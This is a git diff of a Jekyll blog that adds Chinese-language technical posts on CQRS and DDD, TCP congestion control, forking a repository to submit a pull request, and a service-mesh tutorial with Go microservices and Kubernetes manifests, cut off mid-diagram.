触发对应事件来完成操作,也可以做成异步的,主要看业务上的需求了。 + +### 3.CQRS解决了什么问题 + +当使用像 CRUD 这样的传统架构时,使用相同的数据模型来更新和查询数据库以获得大规模解决方案,最终可能会成为一种负担。例如: + +- 读取端点可以在查询端对不同的源执行多个查询,以返回具有不同形状的复杂 DTO 映射。我们已经知道映射可能会变得相当复杂 +- 在写入方面,模型可能会**实现多个复杂的业务规则**来**验证创建**和**更新操作。** +- 我们可能希望以其他方式查询模型,可能将多条记录合并为一条,或者将**更多信息聚合**到当前在其域中不可用的模型,或者只是通过使用一些辅助字段来更改查询查看记录的方式作为一把钥匙。 +- 结果,我们围绕模型对象的 CRUD 服务开始做太多事情,并且随着它的增长变得最糟糕。 + +### 4.CQRS模式 + +CQRS 是*Command and Query Responsibility Segregation* + +它的主要目的是基于将数据操作(命令)与读取操作(查询)分离的简单思想。为了实现这一点,它将**读取**和**写入**分离到不同的模型中,使用命令进行创建/更新,并使用查询从它们中读取数据。![img](https://miro.medium.com/max/1282/0*W4FwjBAZgb8aKDBl) + + + +如上图所示,您会注意到,每次在写入端创建/更新我们域的实例时,都会通过将事件推送到主题上来连接写入和读取世界的事件队列。然后,查询服务将从传入的事件中读取,对数据进行非规范化、丰富、切片和切块,以创建查询优化模型并将它们存储起来以供以后读取。 + +特别是,重点在于**通过将事件溯源架构**添加到组合中来**利用 CQRS 模式**。当我们希望保持此流程具有明确的**关注点分离**、**异步**以及**利用适当的数据库引擎**以提高查询性能时(例如,用于写作的 SQL 数据库和用于在物化视图上查询操作的 NoSQL),它非常适合查询以避免昂贵的连接) + +除此之外,当我们使用事件溯源架构时,事件主题将成为我们的黄金数据源,因为它可以**随时用于存放整个事件集合**并**重现数据的当前状态**。这样我们就有可能从一开始就**异步读取队列**,并在系统进化时,或者读取模型必须改变时,从原始数据中生成一组新的**物化视图**。物化视图实际上是**数据的持久只读缓存**。 + +分离世界的另一个好处是有机会分别扩展两者,从而减少锁争用。由于大多数复杂的业务逻辑都进入了写入模型。因此通过分离模型使它们更加灵活并简化了维护。 + +##### 5.CQRS适用场合 + +- 数据读取的性能必须与数据写入的性能分开进行微调,尤其是在读取次数远大于写入次数时。在这种情况下,您可以扩展读取模型,但仅在少数实例上运行写入模型。 +- 允许读取最终一致的数据。由于这种模式的**异步**性质。 + + + +## DDD 不是什么? + +- DDD 不是一个软件框架。但是基于 DDD 思想的框架是存在的,比如 Axon,它是以 DDD 为**指导思想**,使用 Java 实现的一个微服务软件框架。 +- DDD 不是一种软件设计模式。它不是像工厂,单例这样子的设计模式。但是 DDD 思想中提出了**诸如资源库(Repository)之类的设计模式**。 +- DDD 不是一种系统架构模式。它不是像 MVC 之类的架构模式。但是 DDD 思想中提出了诸如事件溯源(Event Souring),读写隔离(Command Query Responsibility Segregation) 之类的架构模式。 + + + +### 1.DDD 到底是什么? + +> 建模的方法论 + +软件是服务于人类,为提高人类生产效率而产生的一种工具, 每一个软件都服务于某一个特定的领域。比如一个 CRM,它是以管理客户数据为核心,帮助商户与客户保持联系的工具。而软件的实质是计算机中**运行的代码**,如何**将抽象的代码更准确地映射到人类所关心的领域**中,这是软件开发者一直在探寻的话题.函数式编程(FP)还是面向对象编程(OOP)也好,都是为了帮助开发者开发出更贴近于领域中的软件模型。 + +在传统的软件开发方法中,我们常常会遇到一系列影响软件质量的技术以及非技术问题: + +- 开发者热衷于技术,但缺乏设计和业务思考。开发人员在不完全了解业务需求的情况下,闭门造车,即使功能上线也无人问津。 +- 代码输入而非业务输入。技术人员对技术实现情有独钟,出现杀鸡焉用牛刀的情况。 +- 过于重视数据库。以数据库设计为中心,而非业务来进行开发,结果往往是,软件无法适应一直在变动的业务逻辑。 + +**DDD 是一种设计思想,一种以领域(业务)为出发点,以解决软件建模复杂度为目的设计思想.就是建模的方法论。** + +### 2.DDD 的设计思想:战略和战术 + +#### 战略设计 + +##### 通用语言(Ubiquitous Language) + +开发人员习惯了使用技术术语,领域专家(领域专家在此泛指精通业务的专家,比如用户,客户等等)对技术术语毫不关心,于是造成了不可避免的沟通问题,一旦沟通出现问题,开发出来的软件便很难解决领域专家的真正痛点。通用语言是 DDD 思想的基石,它是开发人员和领域专家共同创建一套沟通语言,一套在团队中流行的,通用的沟通语言,团队的组员之间可使用**通用语言进行无障碍交流**。 + +通用语言往往可以直接应用于代码中,它可以直接被写成一个类或者一个类的方法。 + +``` +//开发一个购物车时,与其使用技术术语: +Cart::create(): 创建一个购物车。 +Cart::updateStatus():更新购物车状态。 +Cart::remove():移除购物车。 + +//贴近业务的通用语言: +Cart::init(): 创建一个购物车。 +Cart::addItemToCart():添加商品。 +Cart::removeItemFromCart():移除商品。 +Cart::empty():清空购物车。 +//使用后者时,开发人员不用解释每一个类方法的意义,领域专家可以直接看懂每一个类方法的目的。开发人员甚至可以和领域专家坐在一起使用代码来打磨业务流程。 +``` + +##### 限界上下文(Bounded Context) + +实现了通用语言自由以后,我们需要使用限界上下文来**规定每一套通用语言的使用边界**。限界上下文是语义和语境的边界,在其内的每一个元素都有自己特定的含义,也就是说**每一个概念在一个限界上下文中都是独一无二**,不可以出现一词多义的情况 + +> 比如在一个购物车的限界上下文中,我们可以用 User 一词来代表购买商品的客户。 +> +> 在一个注册系统中,我们可以用 User 一词指的是带有用户名和密码的账号。虽然词汇一样,但是在不同的限界上下文中,它们的含义不同。 + +我们使用限界上下文和通用语言,对业务进行语言层面的拆分。**限界上下文为领域中的每一个元素赋予清晰的概念**。 + +##### 子域(Subdomain) + +如果说限界上下文是对业务进行语言层面拆分的话,那么子域便是对业务进行商业价值的拆分。每一个商业都有自己的关注点,即便是看起来一样的电商平台,淘宝是**开放平台模式**,京东是**价值链整合模式**,一个明显的区别是,淘宝使用第三方物流而京东自建物流体系。那么作为一个开发人员,为何要关心看起来似乎与自己无关的商业模式呢?恰恰相反,只有当我们了解一个商业的结构时,才能开发出一个主次分明的系统来支撑一个商业的飞速发展。**子域**便是这样一个帮助我们**划分主次**的工具。 + +有三种类型的子域: + +- **核心域(Core Domain)**:这是系统中需要最大投资的领域,它代表着整个商业的核心竞争力。我们需要花大量资源以及资源来打磨核心域,这关乎一个企业的存亡。比如京东的自建物流系统。 +- **支撑域(Supporting Domain)**:此领域并非一个企业的核心业务,但是核心域却离不开它,它可以采用外包定制方案实现。比如认证上下文,权限上下文。 +- **通用域(Generic Domain):**如果已有成熟的解决方案,通用域可以采购现成方案来,如果没有,也可以采用外包,在通用域上的投资应该是最小的。比如对于淘宝而言,物流便是其通用域。 + +限界上下文和子域的关系众说纷纭,有专家提倡1:1,也有专家提倡1:N。个人比较提倡 1:1。 + +##### 上下文映射(Context Mapping) + +在一个庞大的系统中,限界上下文之间必定存在一定的依赖关系。如何将一个上下文中的概念映射到另一个上下文中?我们使用上下文映射。以下是几种上下文映射的关系类型: + +- 合作关系(Partnership) +- 共享内核(Shared Kernel) +- 客户方-供应方开发(Customer-Supplier Development) +- 遵奉者(Conformist) +- 防腐层(Anticorruption Layer) +- 开放主机服务(Open Host Service) +- 发布语言(Published Language) +- 另谋他路(SeparateWay) +- 大泥球(Big Ball of Mud) + +#### 战术设计 + +##### 实体(Entity) + +首先我们讲到的是,实体。 + +实体是领域中独立事物的模型,每个实体都拥有一个唯一的标识符,比如 ID, UUID,Username 等等。大多数情况下,实体是可变的,它的状态会随着时间的迁移改变,不过,一个实体不一定必须可变。 + +实体的最大的特征是它的个体性,唯一性。比如在一个简单的购物车上下文中,订单(Order) 便是一个实体,ID 是它的标识符,它的状态可以在提交(placed),确认(confirmed) 以及已退 (refunded) 之间变化。 + +##### 值对象(Value Object) + +值对象是领域中用来描述,量化或者测量实体的模型。和实体不同,值对象没有唯一的标识符,两个对等的值对象是可以替换的。值对象具有不变性(Immutability),一旦创建以后,一个值对象的属性就定型了,不可更改。 + +理解值对象的最直接的方法是,想象我们现实生活中的钞票,在日常生活中,甲的十块钱人民币和乙的十块钱人民币是可以对等交换的。在上文的购物车上下文中,金额(Money)便是一个值对象,金额由货币(currency)和数目(amount) + +##### 聚合(Aggregate) + +聚合是什么?聚合是上下文中对业务领域更精细的划分,每一个聚合保证自己的业务一致性。 + +那么什么是业务不变性?业务不变性表示一个业务规则,该规则在业务领域中不可违背,必须保证其一致性。比如,在进行订单退款时,退款金额不可以超过已付金额。聚合的组成部分是实体和值对象,有时候也只有实体。为了保护聚合的业务一致性,每个聚合只可以通过某一个实体对其进行操作,该实体被称为聚合根。 + +##### 领域事件(Domain Event) + +领域事件是通过通用语言分析出来的事件,与常见的事务事件不同的是它与业务息息相关,所以它的命名往往夹带业务名词,而不应该与数据库挂钩。比如购物车增添商品,对应的领域事件应该是 `ProductAddedToCart`, 而不是 `CartUpdated`。 + +#### Tips + +DDD 还提供了诸如应用服务(Application Service),领域服务(Domain Service) 等战术设计,DDD 还提出了文章开头就提过的事件溯源,六边形等架构模式,在此我们将不一一介绍。 + +DDD 的核心是从业务的角度为软件建立模型,其目的是打造更贴近业务的代码,能更直观的从代码理清业务流程。 然而实现 DDD 并非一日之举,它需要不断的实践,不断的打磨。 \ No newline at end of file diff --git a/_posts/2022-06-14-test-markdown.md b/_posts/2022-06-14-test-markdown.md new file mode 100644 index 000000000000..4387bc600344 --- /dev/null +++ b/_posts/2022-06-14-test-markdown.md @@ -0,0 +1,77 @@ +--- +layout: post +title: 关于TCP滑动窗口和拥塞控制 +subtitle: 四次握手 +tags: [网络] +--- + +# 关于TCP滑动窗口和拥塞控制 + +- TCP头部记录端口号,IP头部记录IP,以太网头部记录MAC地址 + +- 一个TCP连接需要四个元组来表示是同一个连接(src_ip, src_port, dst_ip, dst_port) + +- 为什么TCP建立连接要三次握手? + +- - 通信的双方要互相通知对方自己的初始化的Sequence Number,用来判断之后发来的数据包的顺序。 + - 通知——ACK 因此需要至少三次握手了 + +- 建立连接时,SYN超时没收到ACK会重发,为了防止被恶意flood攻击,Linux下给了一个叫tcp_syncookies的参数 + +- 关闭连接的四次握手 + + ![img](http://fyl-image.oss-cn-hangzhou.aliyuncs.com/20210307195155V_image.png?0.5263694834601689) + +- TIME_WAIT状态是为了等待确保对端也收到了ACK,否则对端还会重发FIN。 + +- **滑动窗口(swnd,即真正的发送窗口) = min(拥塞窗口,通告窗口)** + +- **通告窗口**:即TCP头里的一个字段AdvertisedWindow,是**接收端告诉发送端自己还有多少缓冲区可以接收数据**。于是发送端就可以根据这个接收端的处理能力来发送数据,而不会导致接收端处理不过来。 + +- - 原则:快的发送方不能淹没慢的接收方 + + ![img](http://fyl-image.oss-cn-hangzhou.aliyuncs.com/20210307195211E_image.png?0.8342693766488853) + + - 接收端在给发送端回ACK中会汇报自己的AdvertisedWindow = MaxRcvBuffer – LastByteRcvd – 1; + + - 而发送方会根据这个窗口来控制发送数据的大小,以保证接收方可以处理。 + +- **拥塞窗口**(Congestion Window简称cwnd):指某一源端数据流在一个RTT内可以最多发送的数据包数。 + +- 拥塞控制主要是四个算法:**1)慢启动,2)拥塞避免,3)拥塞发生,4)快速恢复** + +![img](http://fyl-image.oss-cn-hangzhou.aliyuncs.com/20210307195223E_image.png?0.61278969381762) + +- **TCP的核心是拥塞控制,**目的是探测网络速度,保证传输顺畅 + +- 慢启动: + +- - 初始化cwnd = 1,表明可以传一个MSS大小的数据(Linux默认2/3/4,google实验10最佳,国内7最佳) + - 每当收到一个ACK,cwnd++; 呈线性上升 + - 因此,每个RTT(Round Trip Time,一个数据包从发出去到回来的时间)时间内发送的数据包数量翻倍,导致了每当过了一个RTT,cwnd = cwnd*2; 呈指数让升 + - ssthresh(slow start threshold)是上限,当cwnd >= ssthresh时,就会进入“拥塞避免算法” + +- 拥塞避免算法:(当cwnd达到ssthresh时后,一般来说是65535byte) + +- - 收到一个ACK时,cwnd = cwnd + 1/cwnd + - 当每过一个RTT时,cwnd = cwnd + 1 + +- 拥塞发生时: + +- - \1. 表现为RTO(Retransmission TimeOut)超时,重传数据包(反应比较强烈) + + - - sshthresh = cwnd /2 + - cwnd 重置为 1,进入慢启动过程 + + - \2. 收到第3个duplicate ACK时(从收到第一个重复ACK起,到收到第三个重复ACK止,窗口不做调整,即fast restransmit) + + - - cwnd = cwnd /2 + - sshthresh = cwnd + - 进入快速恢复算法——Fast Recovery + +- 快速恢复算法(执行完上述两个步骤之后): + +- - cwnd = sshthresh + 3 (MSS) + - 重传Duplicated ACKs指定的数据包 + - 之后每收到一个duplicated Ack,cwnd = cwnd +1 (此时增窗速度很快) + - 如果收到了新的Ack,那么,cwnd = sshthresh ,然后就进入了拥塞避免的算法![img](http://fyl-image.oss-cn-hangzhou.aliyuncs.com/20210307195238I_image.png?0.46866453999613866) \ No newline at end of file diff --git a/_posts/2022-06-15-test-markdown.md b/_posts/2022-06-15-test-markdown.md new file mode 100644 index 000000000000..cf0a10e93dd5 --- /dev/null +++ b/_posts/2022-06-15-test-markdown.md @@ -0,0 +1,162 @@ +--- +layout: post +title: Fork开源项目并提交PR +subtitle: 以及关于 提交的pr `go fmt` check 不通过的问题:`Your branch is ahead of 'origin/master' by 1 commit.` +tags: [开源] +--- +# Fork开源项目并提交PR + +> 以及关于 提交的pr `go fmt` check 不通过的问题:`Your branch is ahead of 'origin/master' by 1 commit.` + +## 1 第一次提交pr的操作 + +### 1.fork 目标仓库 + +``` +https://github.com/apache/dubbo-go-pixiu.git +``` + +fork到自己的仓库 + +``` +https://github.com/gongna-au/dubbo-go-pixiu.git +``` + +### 2.将`forked的`仓库clone到本地 + +``` +git clone https://github.com/gongna-au/dubbo-go-pixiu.git +``` + +> 不是`要`fork的仓库,而是fork到自己账户的仓库 + +### 3.切一个新的开发分支 + +``` +git checkout -b my-feature +``` + +### 4.在该分支进行修改,添加代码 + +### 5.将分支push到远程仓库 + +``` +$ go mod tidy +``` + +``` +$ git add . +``` + +``` +$ git commit -m"add :new change" +``` + +``` +$ git push origin my-feature +Counting objects: 3, done. +Delta compression using up to 4 threads. +Compressing objects: 100% (3/3), done. +Writing objects: 100% (3/3), 288 bytes | 0 bytes/s, done. +Total 3 (delta 2), reused 0 (delta 0) +remote: Resolving deltas: 100% (2/2), completed with 2 local objects. +To git@github.com:oyjjpp/hey.git + f3676ef..d7a9529 my-feature -> my-feature + +``` + +### 6.为fork项目配置远程仓库 + +当前项目一般只有自己仓库的源,当fork开源仓库的源码时,如果要提交PR,首先需要将上游仓库的源配置到本地版本控制中,这样既可以提交本地仓库代码到上游仓库,同样可以拉取最新上游仓库代码到本地。 + +> 第一次提交pr的时候需要添加上游仓库,之后提交pr不需要 + +###### 列出当前项目配置的远程仓库 + +``` +$ git remote -v +origin https://github.com/gongna-au/dubbo-go-pixiu.git (fetch) +origin https://github.com/gongna-au/dubbo-go-pixiu.git (push) + +``` + +###### 指定fork项目的新远程仓库 + +``` +git remote add upstream https://github.com/apache/dubbo-go-pixiu.git +``` + +###### 然后重新列出配置的远程仓库 + +``` +$ git remote -v +origin https://github.com/gongna-au/dubbo-go-pixiu.git (fetch) +origin https://github.com/gongna-au/dubbo-go-pixiu.git (push) +upstream https://github.com/apache/dubbo-go-pixiu.git (fetch) +upstream https://github.com/apache/dubbo-go-pixiu.git (push) +``` + +### 7.从上游仓库获取最新的代码 + +确定好修改好的代码是想要合并到上游仓库的哪个分支(一般开源仓库都是有很多的分支, 但需要合并的往往只是特定的一个分支) + +这里选择我要合并的上游分支develop + +``` +$ git fetch upstream develop +remote: Enumerating objects: 4, done. +remote: Counting objects: 100% (4/4), done. +remote: Total 5 (delta 4), reused 4 (delta 4), pack-reused 1 +Unpacking objects: 100% (5/5), done. +From https://github.com/rakyll/hey + * [new branch] my-feature -> upstream/develop + * [new tag] v0.1.4 -> v0.1.4 + +``` + +### 8.将开发的分支和上游仓库代码merge + +``` +git merge upstream/develop +``` + +### 9.提交PR + +## 2 第二次提交pr + +``` +$ go mod tidy +``` + +``` +$ git add . +``` + +``` +$ git commit -m"add :new change" +``` + +``` +$ git push origin my-feature +Counting objects: 3, done. +Delta compression using up to 4 threads. +Compressing objects: 100% (3/3), done. +Writing objects: 100% (3/3), 288 bytes | 0 bytes/s, done. +Total 3 (delta 2), reused 0 (delta 0) +remote: Resolving deltas: 100% (2/2), completed with 2 local objects. +To git@github.com:oyjjpp/hey.git + f3676ef..d7a9529 my-feature -> my-feature +``` + +``` +$ git fetch upstream develop +``` + +``` +git merge upstream/develop +``` + +``` +提交pr +``` + diff --git a/_posts/2022-07-08-test-markdown.md b/_posts/2022-07-08-test-markdown.md new file mode 100644 index 000000000000..75a5a62adfa2 --- /dev/null +++ b/_posts/2022-07-08-test-markdown.md @@ -0,0 +1,692 @@ +--- +layout: post= +title: Service Mesh, What & Why ? +subtitle: 正在构建基于服务的架构,无论是micro services微服务还是纳米服务nano services 的service meshes 需要了解服务到服务通信的基本知识。 +tags: [架构] + +--- +# Service Mesh: What & Why ? + +> 正在构建基于服务的架构,无论是`micro services`微服务还是纳米服务`nano services` 的**service meshes **需要了解服务到服务通信的基本知识。 + +service a调用 service b ,如果对service b 的调用失败,我们通常会做的是 service a Retry + +retry 称为重试逻辑,开发人员通常在他们的代码库中有重试逻辑来处理这些类型的失败场景,这个逻辑可能在不同类型的 +服务和不同的编程语言。 + +在放弃之前重试了多少次,太多的重试逻辑在服务 a 和 b 之间造成的弊大于利怎么办?并且服务 b 必须具有关于 +如何处理身份验证的逻辑,所以代码库现在会增长并变得更加复杂 。我们可能还希望微服务之间的相互 tls 或 ssl 连接。我们可能不希望服务通过端口 80 进行通信,而是通过端口 443 安全地进行通信。这意味着: + +- 必须为每个服务颁发证书 + +- 必须为每个服务轮换和维护。避免成为大规模维护的噩梦。 + + +另一个是我们可能想知道: + +- **服务 a 每秒发送给service b 的请求数是多少**? +- 服务 b 每秒接收的请求数是多少? + +我们也可能想知道关于: + +- service b响应的 latency 延迟和 time 的metrics + +有很多可用的指标库,但这需要开发工作,这使得代码库变得越来越复杂。如果服务 a 调用服务 b,但服务 b +向服务c和d发出请求,该怎么办? 有时我们可能希望将请求跟踪到每个服务,以确定延迟可能在哪里. + +比如:服务 a 到 b 可能需要 5 秒、服务 b 到 c 只需要半秒,跟踪这些 Web 请求将帮助我们找到Web 系统中的慢计时区域,这实现起来非常复杂,并且每个都需要大量的代码投资。并且服务为了跟踪每个请求和延迟有时我们可能还想进行流量拆分,只将 10% 的流量发送到服务 d 。现在在传统的 Web 服务器中,我们有防火墙,允许我们控制哪些服务现在可以相互通信。但是大规模分布式系统和微服务 这几乎是不可能去维护的。我们添加的服务越多,我们就越需要不断调整复杂的防火墙规则,我们可能需要不断更新和设置允许哪些服务通信和哪些服务不能通信的策略。 + + 所以如果给服务 a和服务 b 并且添加重试逻辑在两者之间、添加身份验证在两者之间、添加相互 tls在两者之间、关于每秒请求数和延迟的指标在两者之间。根据需求进行扩展我们添加服务 e f g h i。如您所见,这会增加大量的开发工作和操作上的痛苦。 + +很好的解决方案就是 service mesh technology + +## 1. service mesh technology + +> 在软件架构中service mesh 是一个专用的基础设施层,用于促进服务到服务的通信。通常在微服务之间服务service mesh旨在使网络更智能。基本上采用我所说的所有逻辑和功能,将它从代码库中移出并移入网络。这样可以使您的应用程序代码库更小更简单,这样您就可以获得所有这些功能。并保持您的代码库基本不变, + +所以让我们再看看service a 、service b + +service mesh的工作原理是它谨慎地将 proxy作为 sidecar 注入到每个服务。proxy劫持来自服务pod的请求。这意味着 web 数据包将首先访问服务service a 中的proxy,在实际访问服务service b 之前到service b的proxy +而不是为service a 和 service b 添加logic 。logic 存在于 sidecar proxy我们可以在declarative (声明性)config 配置中挑选我们想要的功能: + +- 我们希望代理上的 tls 将管理自己的证书并自动rotate轮换它们 +- 我们希望代理上的自动重试将在失败的情况下重试请求 +- 假设我们想要服务 a 和b 之间进行身份验证,代理将处理服务之间的身份验证,而无需代码。 +- 我们可以打开指标并自动查看集群中每个 pod 的metrics、automatically see requests、per second and latency而无需向我们的服务添加代码。 +- 无论什么编程语言他们都将获得相同的指标所有这些都在每个微服务的声明性配置文件中定义。 + + +这使得轻松加入和 扩展微服务,尤其是当您的集群中有 100 多个服务时,因此要开始service mesh ,我们将需要一个非常好的用例来说明。 + + + +我有 一个 kubernetes 文件夹,有一个带有自述文件的service mesh文件夹 +along in the service 我们将看一下 linkid 和 istio 。 现在的服务度量涵盖了我之前提到的各种功能,但是service mesh 的好处在于它不是在cluster 集群中打开的东西。而是我建议 + +- installing a service mesh 安装服务网格 + +- cherry picking the features 挑选您需要的功能 + +- turn them on for services 为您需要的服务打开它们 + +- 然后应用该方法直到这些概念在您的团队中成熟,或者一旦您从中获得价值, + apply that approach until these concepts mature within your team and then once you gain value from it + +- 您就可以决定将这些功能扩展到其他服务 + + it you can decide to expand these features to other services or more features as you need + + + +kubernetes service mesh folder下面有三个applications folder 其中包含三个用于此用例的微服务micro services 。这些服务组成了一个视频目录,基本上是一个网页将显示播放列表和视频列表。 + +1. 我们从一个简单的 web ui 开始,它被称为 videos web 这是一个 html 应用程序,它列出了一堆包含视频的播放列表。 +2. playlists api来获取播放列表 +3. videos web 调用播放列表 api +4. 完整的架构 :videos web加载到浏览器——>向playlist api 发出单个 Web 请求——>api 将向playlists-db数据库发出请求以加载——>playlist api 遍历每个播放列表并获取——>对videos- api 进行网络调用——> 从videos db 视频数据库获取视频内容所需的所有视频 ID +5. playlist api 和videos api在它们之间发出大量请求 +6. 在 docker 容器中构建所有这些应用程序和启动它们。 +7. 所以现在我们的应用程序在本地 docker 容器中运行,以查看service meshes 我们要做的是部署所有 这些东西到 kubernetes +8. 使用名为 kind 的产品,它可以帮助我在 docker 容器中本地运行 kubernetes 集群。 +9. 在我的机器上的容器内启动一个 kubernetes 集群以便可以在其中部署视频。 +10. 三个微服务,部署它们中的每一个。 + +``` +//servicemesh/applications/playlists-api/playlist-api app.go +package main + +import ( + "net/http" + "github.com/julienschmidt/httprouter" + log "github.com/sirupsen/logrus" + "encoding/json" + "fmt" + "os" + "bytes" + "io/ioutil" + "context" + "github.com/go-redis/redis/v8" +) + +var environment = os.Getenv("ENVIRONMENT") +var redis_host = os.Getenv("REDIS_HOST") +var redis_port = os.Getenv("REDIS_PORT") +var ctx = context.Background() +var rdb *redis.Client + +func main() { + + router := httprouter.New() + + router.GET("/", func(w http.ResponseWriter, r *http.Request, p httprouter.Params){ + cors(w) + playlistsJson := getPlaylists() + + playlists := []playlist{} + err := json.Unmarshal([]byte(playlistsJson), &playlists) + if err != nil { + panic(err) + } + + //get videos for each playlist from videos api + for pi := range playlists { + + vs := []videos{} + for vi := range playlists[pi].Videos { + + v := videos{} + videoResp, err := http.Get("http://videos-api:10010/" + playlists[pi].Videos[vi].Id) + + if err != nil { + fmt.Println(err) + break + } + + defer videoResp.Body.Close() + video, err := ioutil.ReadAll(videoResp.Body) + + if err != nil { + panic(err) + } + + + err = json.Unmarshal(video, &v) + + if err != nil { + panic(err) + } + + vs = append(vs, v) + + } + + playlists[pi].Videos = vs + } + + playlistsBytes, err := json.Marshal(playlists) + if err != nil { + panic(err) + } + + reader := bytes.NewReader(playlistsBytes) + if b, err := ioutil.ReadAll(reader); err == nil { + fmt.Fprintf(w, "%s", string(b)) + } + + }) + + r := redis.NewClient(&redis.Options{ + Addr: redis_host + ":" + redis_port, + DB: 0, + }) + rdb = r + + fmt.Println("Running...") + log.Fatal(http.ListenAndServe(":10010", router)) +} + +func getPlaylists()(response string){ + playlistData, err := rdb.Get(ctx, "playlists").Result() + + if err != nil { + fmt.Println(err) + fmt.Println("error occured retrieving playlists from Redis") + return "[]" + } + + return playlistData +} + +type playlist struct { + Id string `json:"id"` + Name string `json:"name"` + Videos []videos `json:"videos"` +} + +type videos struct { + Id string `json:"id"` + Title string `json:"title"` + Description string `json:"description"` + Imageurl string `json:"imageurl"` + Url string `json:"url"` + +} + +type stop struct { + error +} + +func cors(writer http.ResponseWriter) () { + if(environment == "DEBUG"){ + writer.Header().Set("Access-Control-Allow-Methods", "POST, GET, OPTIONS, PUT, DELETE") + writer.Header().Set("Access-Control-Allow-Headers", "Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With, X-MY-API-Version") + writer.Header().Set("Access-Control-Allow-Credentials", "true") + writer.Header().Set("Access-Control-Allow-Origin", "*") + } +} +``` + +``` +// servicemesh/applications/playlists-apiplaylist-api/deploy.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: playlists-api + labels: + app: playlists-api +spec: + selector: + matchLabels: + app: playlists-api + replicas: 1 + strategy: + type: RollingUpdate + rollingUpdate: + maxSurge: 1 + maxUnavailable: 0 + template: + metadata: + labels: + app: playlists-api + spec: + containers: + - name: playlists-api + image: aimvector/service-mesh:playlists-api-1.0.0 + imagePullPolicy : Always + ports: + - containerPort: 10010 + env: + - name: "ENVIRONMENT" + value: "DEBUG" + - name: "REDIS_HOST" + value: "playlists-db" + - name: "REDIS_PORT" + value: "6379" +--- +apiVersion: v1 +kind: Service +metadata: + name: playlists-api + labels: + app: playlists-api +spec: + type: ClusterIP + selector: + app: playlists-api + ports: + - protocol: TCP + name: http + port: 80 + targetPort: 10010 +--- +apiVersion: networking.k8s.io/v1beta1 +kind: Ingress +metadata: + annotations: + kubernetes.io/ingress.class: "nginx" + nginx.ingress.kubernetes.io/ssl-redirect: "false" + nginx.ingress.kubernetes.io/rewrite-target: /$2 + name: playlists-api +spec: + rules: + - host: servicemesh.demo + http: + paths: + - path: /api/playlists(/|$)(.*) + backend: + serviceName: playlists-api + servicePort: 80 + + +``` + +``` +//servicemesh/applications/videos-api/app.go +package main + +import ( + "net/http" + "github.com/julienschmidt/httprouter" + log "github.com/sirupsen/logrus" + "github.com/go-redis/redis/v8" + "fmt" + "context" + "os" + "math/rand" +) + +var environment = os.Getenv("ENVIRONMENT") +var redis_host = os.Getenv("REDIS_HOST") +var redis_port = os.Getenv("REDIS_PORT") +var flaky = os.Getenv("FLAKY") + +var ctx = context.Background() +var rdb *redis.Client + +func main() { + + router := httprouter.New() + + router.GET("/:id", func(w http.ResponseWriter, r *http.Request, p httprouter.Params){ + + if flaky == "true"{ + if rand.Intn(90) < 30 { + panic("flaky error occurred ") + } + } + + video := video(w,r,p) + + cors(w) + fmt.Fprintf(w, "%s", video) + }) + + r := redis.NewClient(&redis.Options{ + Addr: redis_host + ":" + redis_port, + DB: 0, + }) + rdb = r + + fmt.Println("Running...") + log.Fatal(http.ListenAndServe(":10010", router)) +} + +func video(writer http.ResponseWriter, request *http.Request, p httprouter.Params)(response string){ + + id := p.ByName("id") + fmt.Print(id) + + videoData, err := rdb.Get(ctx, id).Result() + if err == redis.Nil { + return "{}" + } else if err != nil { + panic(err) +} else { + return videoData +} +} + +type stop struct { + error +} + +func cors(writer http.ResponseWriter) () { + if(environment == "DEBUG"){ + writer.Header().Set("Access-Control-Allow-Methods", "POST, GET, OPTIONS, PUT, DELETE") + writer.Header().Set("Access-Control-Allow-Headers", "Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With, X-MY-API-Version") + writer.Header().Set("Access-Control-Allow-Credentials", "true") + writer.Header().Set("Access-Control-Allow-Origin", "*") + } +} + +type videos struct { + Id string `json:"id"` + Title string `json:"title"` + Description string `json:"description"` + Imageurl string `json:"imageurl"` + Url string `json:"url"` + +} +``` + +``` +//servicemesh/applications/videos-api/deploy.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: videos-api + labels: + app: videos-api +spec: + selector: + matchLabels: + app: videos-api + replicas: 1 + strategy: + type: RollingUpdate + rollingUpdate: + maxSurge: 1 + maxUnavailable: 0 + template: + metadata: + labels: + app: videos-api + spec: + containers: + - name: videos-api + image: aimvector/service-mesh:videos-api-1.0.0 + imagePullPolicy : Always + ports: + - containerPort: 10010 + env: + - name: "ENVIRONMENT" + value: "DEBUG" + - name: "REDIS_HOST" + value: "videos-db" + - name: "REDIS_PORT" + value: "6379" + - name: "FLAKY" + value: "false" +--- +apiVersion: v1 +kind: Service +metadata: + name: videos-api + labels: + app: videos-api +spec: + type: ClusterIP + selector: + app: videos-api + ports: + - protocol: TCP + name: http + port: 10010 + targetPort: 10010 +--- + + +``` + + + +## 2.Introduction to Linkerd for beginners | a Service Mesh + +Linkerd是最具侵入性的Service Mesh之一,这意味着您可以轻松安装它,并轻松删除它,轻松选择加入和退出某些功能并将其添加到某些微服务中。所以我非常兴奋,我们有有很多话要说,所以不用多说,让我们开始 + +#### Full application architecture + +``` ++------------+ +---------------+ +--------------+ +| videos-web +---->+ playlists-api +--->+ playlists-db | +| | | | | | ++------------+ +-----+---------+ +--------------+ + | + v + +-----+------+ +-----------+ + | videos-api +------>+ videos-db | + | | | | + +------------+ +-----------+ +``` + +#### A simple Web UI: videos-web + +这是一个 HTML 应用程序,列出了一堆包含视频的播放列表 + +``` ++------------+ +| videos-web | +| | ++------------+ +``` + +#### A simple API: playlists-api + +要让videos-web 获取任何内容,它需要调用playlists-api + +``` ++------------+ +---------------+ +| videos-web +---->+ playlists-api | +| | | | ++------------+ +---------------+ +``` + +播放列表由`title,description`等数据和视频列表组成。 播放列表存储在数据库中。 playlists-api 将其数据存储在数据库中 + +``` ++------------+ +---------------+ +--------------+ +| videos-web +---->+ playlists-api +--->+ playlists-db | +| | | | | | ++------------+ +---------------+ +--------------+ +``` + +每个playlist item 仅包含一个视频 ID 列表。 播放列表没有每个视频的完整元数据。 + +Example `playlist`: + +``` +{ + "id" : "playlist-01", + "title": "Cool playlist", + "videos" : [ "video-1", "video-x" , "video-b"] +} +``` + +Take not above videos: [] 是视频 id 的列表 视频有自己的标题和描述以及其他元数据。 为了得到这些数据,我们需要一个videos-api 这个videos-api也有自己的数据库 + +``` ++------------+ +-----------+ +| videos-api 